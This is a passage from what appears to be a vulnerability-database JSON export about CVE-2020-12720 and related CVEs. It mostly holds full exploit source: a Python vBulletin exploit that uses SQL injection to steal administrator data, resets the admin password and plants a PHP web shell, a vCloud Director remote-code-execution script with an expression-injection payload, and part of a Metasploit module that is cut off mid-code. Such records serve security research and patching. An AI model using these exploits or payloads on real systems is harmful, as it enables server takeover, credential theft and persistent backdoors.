lData).read().decode()\r\n sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','')\r\n #print('[+] Administrators Group ID: '+sGroupID)\r\n \r\n ## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation\r\n lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','').split('|')\r\n #print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg)\r\n\r\n ## Let's create a Human Verify Captcha\r\n sPath = 'ajax/api/hv/generateToken?'\r\n lData = {'securitytoken':'guest'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('\"','')\r\n else: sHash = ''\r\n\r\n ## Get the captcha answer from DB\r\n sPath = 'ajax/api/content_infraction/getIndexableContent'\r\n lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"',''))\r\n else: iAnswers = 1\r\n\r\n lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','')\r\n else: sAnswer = ''\r\n\r\n ## Now request PW reset and retrieve the token\r\n sPath = 'auth/lostpw'\r\n lData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n \r\n sPath = 'ajax/api/content_infraction/getIndexableContent'\r\n lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('\"','')\r\n else: sToken = ''\r\n\r\n ## Finally the password reset itself\r\n sPath = 'auth/reset-password'\r\n lData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'}\r\n sResponse = getData(sURL + sPath, lData).read().decode()\r\n if not 'Logging in' in sResponse:\r\n print('[-] Failed to reset the password')\r\n return ''\r\n else:\r\n print('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS)\r\n return sUserid\r\n\r\ndef createBackdoor(sURL, sADMINPASS, sUserid='1'):\r\n ## Activating Sitebuilder\r\n sPath = 'ajax/activate-sitebuilder'\r\n lData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}\r\n oResponse = getData(sURL + sPath, lData)\r\n if not oResponse.code == 200:\r\n print('[-] Error activating sitebuilder')\r\n sys.exit(1)\r\n\r\n ## Confirming the password, getting new securitytoken\r\n sPath = 'auth/ajax-login'\r\n lData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'}\r\n oResponse = getData(sURL + sPath, lData)\r\n sResponse = oResponse.read().decode()\r\n if 'lostpw' in sResponse:\r\n print('[-] Error: authentication for userid ' + sUserid + ' failed')\r\n sys.exit(1)\r\n sToken = sResponse.split(',')[1].split(':')[1].replace('\"','').replace('}','')\r\n print('[+] Got token: '+sToken)\r\n\r\n ## cpsession is needed, use this for extra verification\r\n #for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc\r\n\r\n ## First see if our backdoor does not already exists\r\n sPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper'\r\n lData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken}\r\n oResponse = getData(sURL + sPath, lData)\r\n sResponse = oResponse.read().decode()\r\n if 'cve-2020-12720' in sResponse:\r\n sPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0]\r\n print('[+] This machine was already pwned, using \"' + sPageName + '\" for your command')\r\n return sPageName\r\n \r\n\r\n ## Create a new empty page\r\n sPath = 'ajax/api/widget/saveNewWidgetInstance'\r\n lData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken}\r\n oResponse = getData(sURL + sPath, lData)\r\n sResponse = oResponse.read().decode()\r\n sWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','')\r\n sPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','')\r\n print('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID)\r\n\r\n ## Now submitting the page content\r\n sPageName = 'cve-2020-12720-'+randomString()\r\n sPath = 'ajax/api/widget/saveAdminConfig'\r\n lData = {'widgetid':'23',\r\n 'pagetemplateid':sPageTemplateID,\r\n 'widgetinstanceid':sWidgetInstanceID,\r\n 'data[widget_type]':'',\r\n 'data[title]':sPageName,\r\n 'data[show_at_breakpoints][desktop]':'1',\r\n 'data[show_at_breakpoints][small]':'1',\r\n 'data[show_at_breakpoints][xsmall]':'1',\r\n 'data[hide_title]':'0',\r\n 'data[module_viewpermissions][key]':'show_all',\r\n 'data[code]':\"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');\",\r\n 'securitytoken':sToken}\r\n oResponse = getData(sURL + sPath, lData)\r\n if not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName)\r\n \r\n ## Finally saving the new page\r\n sPath = 'admin/savepage'\r\n lData = {'input[ishomeroute]':'0',\r\n 'input[pageid]':'0',\r\n 'input[nodeid]':'0',\r\n 'input[userid]':'1',\r\n 'input[screenlayoutid]':'2',\r\n 'input[templatetitle]':sPageName,\r\n 'input[displaysections[0]]':'[{\"widgetId\":\"23\",\"widgetInstanceId\":\"' + sWidgetInstanceID + '\"}]',\r\n 'input[displaysections[1]]':'[]',\r\n 'input[displaysections[2]]':'[]',\r\n 'input[displaysections[3]]':'[]',\r\n 'input[pagetitle]':sPageName,\r\n 'input[resturl]':sPageName,\r\n 'input[metadescription]':'Photubias+Shell',\r\n 'input[pagetemplateid]':sPageTemplateID,\r\n 'url':sURL,\r\n 'securitytoken':sToken}\r\n oResponse = getData(sURL + sPath, lData)\r\n if not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName)\r\n return sPageName\r\n\r\ndef main():\r\n if len(sys.argv) == 1:\r\n print('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>')\r\n print(' Example: ./CVE-2020-12720.py http://192.168.50.130/ \"cat /etc/passwd\"')\r\n print(' But for now, ask questions then')\r\n sURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ')\r\n if sURL == '': sURL = 'http://192.168.50.130'\r\n else:\r\n sURL = sys.argv[1]\r\n sCMD = sys.argv[2]\r\n if not sURL[:-1] == '/': sURL += '/'\r\n if not sURL[:4].lower() == 'http': sURL = 'http://' + sURL\r\n print('[+] Welcome, first verifying the SQLi vulnerability')\r\n if verifyBug(sURL):\r\n print(\"----\\n\" + '[+] Attempting automatic admin account takeover')\r\n sUSERID = takeoverAccount(sURL, sNEWPASS)\r\n sADMINPASS = sNEWPASS\r\n if sUSERID == '':\r\n sUSERID = '1'\r\n sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')\r\n else:\r\n sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ')\r\n print(\"----\\n\"+'[+] So far so good, attempting the creation of the backdoor')\r\n sPageName = createBackdoor(sURL, sADMINPASS, sUSERID)\r\n\r\n if len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ')\r\n if sCMD == '': sCMD = 'id'\r\n sCmd = urllib.parse.quote(sCMD)\r\n sPath = sPageName + \"?cmd=\" + sCmd\r\n\r\n print('[+] Opening '+sURL + sPath)\r\n try:\r\n oRequest = urllib.request.Request(url = sURL + sPath)\r\n oResponse = oOpener.open(oRequest, timeout = iTimeout)\r\n print('#######################')\r\n sResponse = oResponse.read().decode()\r\n print('[+] Command result:')\r\n print(sResponse.split('###SHELLRESULT###')[1])\r\n except:\r\n print('[-] Something went wrong, bad command?')\r\n sys.exit(1)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()", "sourceHref": "https://www.exploit-db.com/download/48472", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2021-07-22T20:43:19", "description": "vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.\n\n \n**Recent assessments:** \n \n**ccondon-r7** at June 11, 2020 5:05pm UTC reported:\n\nVuln affects versions 5.0.0 to 5.5.4 and is weaponized in the form of a Metasploit module: <https://github.com/rapid7/metasploit-framework/pull/13512> \nCredit to Charles Fol for discovery and Zenofex for fast analysis and slick weaponization.\n\nI keep thinking that it\u2019s unlikely enterprises use vBulletin and this must be more of a risk to small- and medium-sized businesses, but looking at some of the companies that are said to be vBulletin customers, I suppose that\u2019s not necessarily true. [Article on in-the-wild exploitation here.](<https://www.helpnetsecurity.com/2019/09/25/cve-2019-16759/>)\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 4\n", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-05-08T00:00:00", "type": "attackerkb", "title": "CVE-2020-12720 vBulletin incorrect access control", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-16759", "CVE-2020-12720"], "modified": "2021-07-22T00:00:00", "id": "AKB:1BF8711C-479C-44AE-A936-EC1160F0DC29", "href": "https://attackerkb.com/topics/RSDAFLik92/cve-2020-12720-vbulletin-incorrect-access-control", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "0daydb": [{"lastseen": "2020-06-23T13:12:54", "description": "CVE-2020-3956 vCloud Director version 9.7.0.15498291 suffers from a remote code execution vulnerability.", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-03T15:54:57", "title": "vCloud Director 9.7.0.15498291 CVE-2020-3956 - Remote Code Execution", "type": "0daydb", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-3956", "CVE-2020-12720"], "modified": "2020-06-03T15:54:57", "id": "0DAYDB:9B958AB6A7A8570A18E180B0B8D9B834", "href": "https://0daydb.com/vcloud-director-9-7-0-15498291-cve-2020-3956-remote-code-execution.html", "sourceData": "#!/usr/bin/python\n# Exploit Title: vCloud Director - Remote Code Execution\n# Exploit Author: Tomas Melicher\n# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/\n# Date: 2020-05-24\n# Vendor Homepage: https://www.vmware.com/\n# Software Link: https://www.vmware.com/products/cloud-director.html\n# Tested On: vCloud Director 9.7.0.15498291\n# Vulnerability Description: \n# VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.\n\nimport argparse # pip install argparse\nimport base64, os, re, requests, sys\nif sys.version_info >= (3, 0):\n from urllib.parse import urlparse\nelse:\n from urlparse import urlparse\n\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nPAYLOAD_TEMPLATE = \"${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}\"\nsession = requests.Session()\n\ndef login(url, username, password, verbose):\n target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)\n res = session.get(target_url)\n match = re.search(r'tenant:([^\"]+)', res.content, re.IGNORECASE)\n if match:\n tenant = match.group(1)\n else:\n print('[!] can\\'t find tenant identifier')\n return (None,None,None,None)\n\n if verbose:\n print('[*] tenant: %s'%(tenant))\n\n match = re.search(r'security_check\\?[^\"]+', res.content, re.IGNORECASE)\n if match: # Cloud Director 9.*\n login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))\n res = session.post(login_url, data={'username':username,'password':password})\n if res.status_code == 401:\n print('[!] invalid credentials')\n return (None,None,None,None)\n else: # Cloud Director 10.*\n match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)\n if match:\n login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))\n headers = {\n 'Authorization': 'Basic %s'%(base64.b64encode('%[email\u00a0protected]%s:%s'%(username,tenant,password))),\n 'Accept': 'application/json;version=29.0',\n 'Content-type': 'application/json;version=29.0'\n }\n res = session.post(login_url, headers=headers)\n if res.status_code == 401:\n print('[!] invalid credentials')\n return (None,None,None,None)\n else:\n print('[!] url for login form was not found')\n return (None,None,None,None)\n\n cookies = session.cookies.get_dict()\n jwt = cookies['vcloud_jwt']\n session_id = cookies['vcloud_session_id']\n\n if verbose:\n print('[*] jwt token: %s'%(jwt))\n print('[*] session_id: %s'%(session_id))\n\n res = session.get(target_url)\n match = re.search(r'organization : \\'([^\\']+)', res.content, re.IGNORECASE)\n if match is None:\n print('[!] organization not found')\n return (None,None,None,None)\n organization = match.group(1)\n if verbose:\n print('[*] organization name: %s'%(organization))\n\n match = re.search(r'orgId : \\'([^\\']+)', res.content)\n if match is None:\n print('[!] orgId not found')\n return (None,None,None,None)\n org_id = match.group(1)\n if verbose:\n print('[*] organization identifier: %s'%(org_id))\n\n return (jwt,session_id,organization,org_id)\n\n\ndef exploit(url, username, password, command, verbose):\n (jwt,session_id,organization,org_id) = login(url, username, password, verbose)\n if jwt is None:\n return\n\n headers = {\n 'Accept': 'application/*+xml;version=29.0',\n 'Authorization': 'Bearer %s'%jwt,\n 'x-vcloud-authorization': session_id\n }\n admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)\n res = session.get(admin_url, headers=headers)\n match = re.search(r'<description>\\s*([^<\\s]+)', res.content, re.IGNORECASE)\n if match:\n version = match.group(1)\n if verbose:\n print('[*] detected version of Cloud Director: %s'%(version))\n else:\n version = None\n print('[!] can\\'t find version of Cloud Director, assuming it is more than 10.0')\n\n email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)\n\n payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))\n data = '<root:OrgEmailSettings xmlns:root=\"http://www.vmware.com/vcloud/v1.5\"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'\n data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'\n data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'\n data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)\n data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'\n res = session.put(email_settings_url, data=data, headers=headers)\n match = re.search(r'value:\\s*\\[([^\\]]+)\\]', res.content)\n\n if verbose:\n print('')\n try:\n print(base64.b64decode(match.group(1)))\n except Exception:\n print(res.content)\n\n\nparser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')\nparser.add_argument('-v', action='store_true')\nparser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)\nparser.add_argument('-u', metavar='username', required=True)\nparser.add_argument('-p', metavar='password', required=True)\nparser.add_argument('-c', metavar='command', help='command to execute', default='id')\nargs = parser.parse_args()\n\nurl = urlparse(args.t)\nexploit(url, args.u, args.p, args.c, args.v)", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-06-23T13:12:54", "description": "This Metasploit module exploits a SQL injection vulnerability found in vBulletin versions 5.6.1", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-06-03T15:53:27", "title": "vBulletin 5.6.1 CVE-2020-12720 - SQL Injection", "type": "0daydb", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-13448", "CVE-2020-3956", "CVE-2020-12720"], "modified": "2020-06-03T15:53:27", "id": "0DAYDB:53D8E76BA26E5E7A0D38F61CC5944072", "href": "https://0daydb.com/vbulletin-5-6-1-cve-2020-12720-sql-injection.html", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ManualRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::Remote::AutoCheck\n\n HttpFingerprint = { method: 'GET', uri: '/', pattern: [/vBulletin.version = '5.+'/] }\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection',\n 'Description' => %q{\n This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier\n This module uses the getIndexableContent vulnerability to reset the administrators password,\n it then uses the administrators login information to achieve RCE on the target. This module\n has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n 'Charles Fol <folcharles[at]gmail.com>', # (@cfreal_) CVE\n 'Zenofex <zenofex[at]exploitee.rs>', # (@zenofex) PoC and Metasploit module\n ],\n 'References' => [\n ['CVE', '2020-12720'],\n ],\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Targets' => [\n ['Automatic', {}]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => '2020-03-12',\n 'DefaultTarget' => 0\n )\n )\n register_options([\n OptString.new('TARGETURI', [true, 'Path to vBulletin', '/']),\n OptInt.new('NODE', [false, 'Valid Node ID']),\n OptInt.new('MINNODE', [true, 'Valid Node ID', 1]),\n OptInt.new('MAXNODE', [true, 'Valid Node ID', 200]),\n OptBool.new('MANUALLOSTPASS', [false, 'true if an administrator lost password request has already been sent.', false])\n ])\n end\n\n # Performs SQLi attack\n def do_sqli(node_id, tbl_prfx, field, table, condition)\n where_cond = condition.nil? || condition == '' ? '' : \"where #{condition}\"\n injection = \" UNION ALL SELECT 0x2E,0x74,0x68,0x65,0x2E,0x65,0x78,0x70,0x6C,0x6F,0x69,0x74,0x65,0x65,0x72,0x73,0x2E,#{field},0x2E,0x7A,0x65,0x6E,0x6F,0x66,0x65,0x78 \"\n injection << \"from #{tbl_prfx}#{table} #{where_cond}--\"\n\n print_status(\"Performing SQL injection on target to retrieve '#{field}' from '#{tbl_prfx}#{table}'.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'content_infraction', 'getIndexableContent'),\n 'vars_post' => {\n 'nodeId[nodeid]' => \"#{node_id}#{injection}\"\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['rawtext']\n\n parsed_resp['rawtext']\n end\n\n # Gets human verification token\n def get_hv_hash\n print_status(\"Making request to '#{target_uri.path}/ajax/api/hv/generateToken' to retrieve HV token.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'hv', 'generateToken'),\n 'vars_post' => {\n 'securitytoken' => 'guest'\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['hash']\n\n hv_hash = parsed_resp['hash']\n print_good(\"Retrieved '#{hv_hash}' human verification token.\")\n hv_hash\n end\n\n # Gets the human verification (question based) answer\n def get_hv_ques_answer(node_id, tbl_prfx, questionid)\n print_status(\"Using HV token '#{questionid}' and SQLinjection to determine HV question answer.\")\n hv_answer = do_sqli(node_id, tbl_prfx, 'regex', 'hvquestion', \"questionid = '#{questionid}'\")\n\n if questionid.nil?\n return nil\n end\n\n print_good(\"Retrieved the answer '#{hv_answer}' (REGEX) to the HV question with id '#{questionid}'.\")\n hv_answer\n end\n\n # Gets the human verification (image based) answer\n def get_hv_answer(node_id, tbl_prfx, hv_hash)\n print_status(\"Using HV token '#{hv_hash}' and SQLinjection to determine HV answer.\")\n hv_answer = do_sqli(node_id, tbl_prfx, 'answer', 'humanverify', \"hash = '#{hv_hash}'\")\n\n if hv_answer.nil?\n return nil\n end\n\n print_good(\"Retrieved '#{hv_answer}' answer to HV token '#{hv_hash}'.\")\n hv_answer\n end\n\n # Gets the prefix to the SQL tables used in vbulletin install\n def get_table_prefix(node_id)\n print_status('Attempting to determine the vBulletin table prefix.')\n table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', \"column_name='phrasegroup_cppermission'\")\n\n unless table_name && table_name.split('language').index\n fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')\n end\n\n tbl_prefix = table_name.split('language')[0]\n print_good(\"Sucessfully retrieved table to get prefix from #{table_name}.\")\n\n tbl_prefix\n end\n\n # Sends the request to begin forgot password request\n def begin_reset_pass(admin_email, hv_answer, hv_hash, type = 'Image')\n print_status(\"Making request to '#{target_uri.path}/auth/lostpw' to begin lost password process.\")\n if type == 'Question'\n hv_field_name1 = 'humanverify[input]'\n hv_field_name2 = 'humanverify[hash]'\n elsif type == 'Recaptcha2'\n hv_field_name1 = 'unused'\n hv_field_name2 = 'humanverify[g-recaptcha-response]'\n else\n hv_field_name1 = 'humanverify[input]'\n hv_field_name2 = 'humanverify[hash]'\n end\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'auth', 'lostpw'),\n 'vars_post' => {\n 'email' => admin_email.to_s,\n hv_field_name1.to_s => hv_answer.to_s,\n hv_field_name2.to_s => hv_hash.to_s,\n 'securitytoken' => 'guest'\n }\n })\n\n return false unless res && res.code == 200\n\n parsed_resp = res.get_json_document\n\n return false if parsed_resp['response'] && parsed_resp['response']['errors']\n\n true\n end\n\n # Attempts to login to vBulletin install\n def login(user, pass, type = '')\n print_status(\"Making login request to '#{target_uri.path}/auth/ajax-login' with username: '#{user}' and password: '#{pass}'.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'auth', 'ajax-login'),\n 'vars_post' => {\n 'logintype': type.to_s,\n 'username' => user.to_s,\n 'password' => pass.to_s,\n 'securitytoken' => 'guest'\n }\n })\n\n return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['success']\n\n print_good(\"Successfully logged in as #{user} #{type}.\")\n\n [res.get_cookies, parsed_resp['newtoken']]\n end\n\n # Gets an administrator's info from the database using SQLi\n def get_admin_info(node_id, tbl_prefix)\n uid = do_sqli(node_id, tbl_prefix, 'userid', 'administrator', nil)\n username = do_sqli(node_id, tbl_prefix, 'username', 'user', \"userid = '#{uid}'\")\n token = do_sqli(node_id, tbl_prefix, 'token', 'user', \"userid = '#{uid}'\")\n email = do_sqli(node_id, tbl_prefix, 'email', 'user', \"userid = '#{uid}'\")\n\n unless uid && username && token && email\n return [nil, nil, nil, nil]\n end\n\n [uid, username, token, email]\n end\n\n # Activates vBulletin site builder\n def activate_sitebuilder(pageid, nodeid, userid, sec_token, cookie_jar)\n print_status(\"Making request to '#{target_uri.path}/ajax/activate-sitebuilder' to activate site-builder functionality.\")\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'activate-sitebuilder'),\n 'cookie' => [cookie_jar],\n 'headers' => {\n 'X-Requested-With' => 'XMLHttpRequest'\n },\n 'vars_post' => {\n 'pageid' => pageid.to_s,\n 'nodeid' => nodeid.to_s,\n 'userid' => userid.to_s,\n 'loadMenu' => 'false',\n 'isAjaxTemplateRender' => 'true',\n 'isAjaxTemplateRenderWithData' => 'true',\n 'securitytoken' => sec_token.to_s\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']\n\n print_good('Successfully enabled site-builder functionality.')\n true\n end\n\n # Creates new widget instance\n def new_widget_instance(sec_token, cookie_jar)\n print_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveNewWidgetInstance' to create new widget.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveNewWidgetInstance'),\n 'cookie' => [cookie_jar],\n 'vars_post' => {\n 'containerinstanceid' => '0',\n 'widgetid' => '23', # PHP widget type ID\n 'pagetemplateid' => '',\n 'securitytoken' => sec_token.to_s\n }\n })\n\n return [nil, nil] unless res && res.code == 200 && (parsed_resp = res.get_json_document) && parsed_resp['widgetinstanceid']\n\n print_good('Created new widget instance.')\n\n [parsed_resp['widgetinstanceid'], parsed_resp['pagetemplateid']]\n end\n\n # Saves a new widget to vBulletin.\n def save_widget(pt_id, wi_id, payload, sec_token, cookie_jar)\n print_status(\"Making request to '#{target_uri.path}/ajax/api/widget/saveAdminConfig' to add payload to widget.\")\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(target_uri.path, 'ajax', 'api', 'widget', 'saveAdminConfig'),\n 'cookie' => [cookie_jar],\n 'vars_post' => {\n 'widgetid' => '23', # PHP widget type ID\n 'pagetemplateid' => pt_id.to_s,\n 'widgetinstanceid' => wi_id.to_s,\n 'data[widget_type]' => '',\n 'data[title]' => rand_text_alphanumeric(rand(6..16)),\n 'data[show_at_breakpoints][desktop]' => '1',\n 'data[show_at_breakpoints][small]' => '1',\n 'data[show_at_breakpoints][xsmall]' => '1',\n 'data[hide_title]' => '1',\n 'data[module_viewpermissions][key]' => 'show_all',\n 'data[code]' => payload.encoded.to_s,\n 'securitytoken' => sec_token.to_s\n }\n })\n\n return nil unless res && res.code == 200 && (parsed_resp = 